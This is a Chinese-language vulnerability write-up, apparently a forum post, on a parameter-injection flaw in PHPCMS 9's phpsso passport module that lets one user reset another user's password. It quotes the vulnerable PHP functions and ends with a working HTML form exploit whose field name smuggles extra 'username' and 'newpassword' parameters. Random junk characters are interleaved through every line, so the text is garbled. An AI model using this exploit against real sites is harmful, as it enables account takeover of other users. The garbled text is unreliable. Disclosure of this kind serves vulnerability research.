提到的通行证的代码:" L4 I" I' E/ b H4 l
2 l% G) R8 h; _/ P( J0 J( @- {; s) F! P% ^; y' c
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
. O) O, b. ~- E, E8 t, ~
. Y9 j5 {# f8 b* E$ D! i在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。, X3 t8 L1 o$ h7 ?/ y* }4 b2 ]
7 [/ g+ k& q1 j1 B
我把它留给了你们。
' ~) I7 W7 z5 i' m t! ]2 [不知道你们发现了它没有。
. @4 U9 a, }4 z9 j r
6 w7 h( B4 B6 g& N. H我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
5 V; I1 ]" R+ q: O3 ~! @+ V( f0 j7 U" c9 B# V7 L8 M
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。" F6 K, Q! S/ Q- @! @. a
, ?* _8 D, Q% k3 a+ [
也就是
/ H H, O) ^9 Q! c6 | R% P+ R/ Y: e. K$ d) R
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。; |4 H% t C$ @- ]9 v
6 p* j, z) R( R& G0 V/ [
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
5 @6 s: S" k9 [/ _5 y: R/ F6 p R$ a: q- T
) g8 o) F) P" \% S3 x+ k其实我们有这样的机会,看看代码,如下:
. E1 D' @, |/ s, C X. }+ n
/ H. u7 C( d( N" u
& q9 C/ J2 x: D( N3 Cpublic function auth_data($data) {( T1 U) ]2 B. R& `- L
$s = $sep = '';
; x, f; W7 z: V foreach($data as $k => $v) {
+ {. n/ y% n* o if(is_array($v)) {2 ?& J8 v& |: I" D9 h# d( A- K
$s2 = $sep2 = '';
/ C4 P4 j3 J4 q# n foreach($v as $k2 => $v2) {. `5 W; e6 K$ N1 T" R* v: t
$s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);& a* [" L) t7 X! b, M
$sep2 = '&';
; ]0 ^0 j" H. f* q4 |+ v2 f* o }9 {/ |7 b! z; b
$s .= $sep.$s2;: e' }# k% P! m8 U2 C% W/ j
} else {
$ }( A" v5 J. O! R $s .= "$sep$k=".$this->_ps_stripslashes($v);
4 Q7 G8 H8 v3 c }
, ] v$ i: W! h- s! c& P& D $sep = '&';$ v$ A2 B. }! ~6 r& z
}& R$ t* n* O6 g5 y
. Z0 c( h: ^8 R
$auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));, ^# E9 c( U* \
return $auth_s;% z+ M! I& w, F+ G: K9 [0 P
}
' w/ _7 o% x: H, m3 }. ^" x( ], j4 w- n) ?4 G
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
2 T, H4 }5 K0 C1 {/ b! b* d" P/ T1 _: s% F, o ^
举个例子
5 N2 a2 H k) O( i( ~1 _
' H8 {: g4 K) @ \) D+ j; J8 F$a[aaa=a&bbb] = 'a';
+ p* G P I/ n* ?4 Q" u/ i+ S1 e; T+ G6 W g3 D6 l
会变成aaa=a&bbb=a+ r8 u/ [/ P, n( ?+ _
' I: b6 m4 F$ D0 p/ k) X4 ~明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
+ e# @4 `* g* B* x3 l) ~7 z! Z" t2 e( z. [) U' }+ M3 j* i+ K
这个时候,我们可以再去看一个函数。, X8 m6 `! b2 q/ T
* }# o3 o* W# b- f) z t$ y) {) L, [
就在这个文件内:
2 U h+ b$ Q m* W
\# I7 ~0 ]$ I) d2 G9 p2 Z# C4 q% q2 r; S+ Y7 u( _( ^
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {" p% p. _5 W9 Q4 d* i2 S6 y
if($email && !$this->_is_email($email)) {
/ ^* }5 N1 u6 L5 k7 b# [ return -4;
7 |8 U0 s2 r6 C9 _2 k }
! r- T; M$ j$ N3 x8 x& F6 w3 c8 E A return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));+ t' |$ ~+ V2 J& d) m
}
6 N' _, {, R# @/ N" |" h
( q! N/ {+ N! z- w( @0 y这是向通行证发了这样一个请求。
' L9 [5 y# G7 e' i4 V+ Q8 n3 ^3 z9 x% T& L# j; S3 H
我们再跟到通信证代码里去看看,就会有所发现。
2 D0 W& f& G2 c/ S3 [% P
2 N. N& l, B; I: t3 r4 u9 N% Z: S8 x) S
public function edit() {! h6 M- V( l% Z- A3 J j
//能省就省,太长了不是吗?4 g5 B' q* _; A. ?( q( c
) B+ u, U- F/ X1 \" q/ `4 w
if($this->username) {
1 q) w: v7 B( U y//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
; \+ x$ V! I$ l9 k $res = $this->db->update($data, array('username'=>$this->username));
' N9 _' y5 N1 W( g } else {2 Y7 A C+ }6 ]! r
file_put_contents('typeb.txt',print_r($data,1).$this->uid);, O; t% i' H8 E+ s7 e* m8 a. g
$res = $this->db->update($data, array('uid'=>$this->uid));
, w8 t: ^) D" n" f }
# ]0 l( O7 l' ~! \" ? J( K" H
! j# `3 x6 A8 b6 g" p好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:4 ^4 j/ R( h, q7 ]" T
0 d$ I7 u: A( ` q6 T1 K6 k* T) Xpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')9 F, A% {3 X. S6 @1 w
5 U/ F/ ?; J, T
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。- G; B% k/ w' P2 f; `: _
5 W; T( J9 @5 Z! i! `我当然找到了:2 q) U8 Z! |& D9 d: @ W
phpcms9/phpcms/modules/member/index.php
6 c5 _( k& Y9 F( M7 n4 E) u' k& C4 C, v1 ]0 ^3 J
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
) r2 s! |* q# Z: B7 B, f
8 a$ v- H, L" u% G+ ?然后就没有然后了。
% p' i/ F( \ S
+ u V4 K1 P% J) u. c, G<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
$ k' Y( N( x' {* h0 e <table width="100%" cellspacing="0" class="table_form">& F8 L; o; `6 H; a
<tr>; G% D2 e% ]3 b* l7 \$ [4 `
<th width="80">邮箱:</th> ( ?" {% \+ f* N! Y* Q/ `3 [
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>) p3 E( M5 R. m: o: w, h
</tr>
6 ~& Q' I8 o% J: i! V. P <tr>9 V: l5 o5 x6 y' G# s# I: G x Z" d; M
<th width="80">原密码:</th>
$ W- c& p" x3 a) O+ a <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>8 [; Z: f4 W; ^3 k4 ^ k1 V
</tr>' c' C4 T1 ~$ W2 C N
<tr>
. ]! O0 `; @! } {; n <th>新密码:</th>
6 S4 f& X" Q/ p! v: ?; K! [' t+ t <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
. q% w+ x( e( t; B% ~ </tr>& ?& S- ^( |0 z4 u' v. d
<th></th>
$ [! z; i( [: [' A( \0 Z8 z <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
9 J2 P) y# N; j3 o4 S, U" a </tr>
* D9 o: b k6 W8 l v+ ^ </table>7 m- j, k0 e: g1 z6 H
. u- T8 b! |% c t% }
( Y3 p3 `7 p8 b% Z4 ~. {& n </form>
) Q5 q! A- @2 T2 y |